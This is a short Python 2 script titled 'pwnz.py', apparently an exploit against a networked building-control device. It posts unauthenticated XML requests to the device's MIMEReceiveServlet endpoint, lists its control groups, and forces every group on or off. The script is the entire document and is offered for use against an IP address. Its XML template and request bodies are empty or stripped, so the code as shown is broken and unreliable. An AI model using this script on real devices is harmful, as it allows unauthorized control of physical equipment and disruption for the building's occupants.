"""
usage: python pwnz.py 192.168.1.x [on|off]
"""
# you can get BeautifulSoup from:
# http://www.crummy.com/software/BeautifulSoup/#Download
from BeautifulSoup import BeautifulSoup
from httplib import HTTPConnection
import sys
ip = sys.argv[1]
template = '' % sys.argv[2].upper()
def post(data):
c = HTTPConnection(ip)
c.request('POST','/servlet/MIMEReceiveServlet',data,{'content-type':'text/xml'})
return BeautifulSoup(c.getresponse().read())
# first out what groups there are
soup = post("""
getRequest
""")
group_nums = [(g['group']) for g in soup.findAll('mnetrecord')]
# now go through and set all the on/off bits to what we were told
soup = post("""
setRequest
%s
""" % ('\n'.join([template%g for g in group_nums])))